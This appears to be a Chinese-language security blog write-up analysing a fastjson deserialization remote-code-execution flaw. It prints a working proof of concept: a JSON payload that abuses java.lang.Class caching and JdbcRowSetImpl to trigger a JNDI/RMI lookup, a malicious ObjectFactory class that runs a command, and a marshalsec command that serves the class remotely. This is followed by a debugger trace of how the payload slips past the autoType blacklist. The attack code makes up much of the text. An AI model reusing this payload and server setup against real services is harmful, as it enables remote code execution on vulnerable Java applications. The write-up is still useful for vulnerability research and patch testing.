@Author: Patrilic @Time: 2020-3-14 23:08:55
Exp.java
package com.patrilic.fastjson; import com.alibaba.fastjson.JSON; //import com.alibaba.fastjson.JSONObject; public class exp { public static void main(String[] argv) { // System.out.print("Success"); String payload = "{/"name/":{/"@type/":/"java.lang.Class/",/"val/":/"com.sun.rowset.JdbcRowSetImpl/"},/"x/":{/"@type/":/"com.sun.rowset.JdbcRowSetImpl/",/"dataSourceName/":/"rmi://localhost:1099/Exploit/",/"autoCommit/":true}}}"; JSON.parse(payload); } }
Exploit.java
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.util.Hashtable; public class Exploit implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { exec("xterm"); return null; } public static String exec(String cmd) { try { Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator"); } catch (IOException e) { e.printStackTrace(); } return ""; } public static void main(String[] args) { exec("123"); } }
RMI服务器由 marshalsec-0.0.3-SNAPSHOT-all.jar
启动
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8001//#Exploit
运行exp的时候,发现并不能成功执行
因为jdk版本不支持,当前版本为8u191,ldap和rmi的方式都不行,切换版本到7u80
程序最先进入到 DefaultJSONNParser
,将整个payload作为参数传入Json的解释器,进入到 DefaultJsonParser.parser()
函数
经过逐位的数据读取,将Json的Key分割开,调用 addSymbol()
函数加入到 symbolTable
如果获取到的key是 @type
,就通过 clazz = this.config.checkAutoType(typeName, (Class)null, lexer.getFeatures())
是否是黑名单中的类
因为 @type == "java.lang.class
,不在黑名单内,所以会将value带入加载
跟进deserializer
可以看到StrVal = objVal,而objVal就是等于poc中给出的val参数
然后下面经过一堆if判断,进入到
TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader())
跟进 loadClass()
MiscCode:548行
最后进入JdbcRowSetImpl通过调用SetAutoCommit() -> connect()对dataSourceName进行lookup,实现rmi注入
com/alibaba/fastjson/parser/DefaultJSONParser.class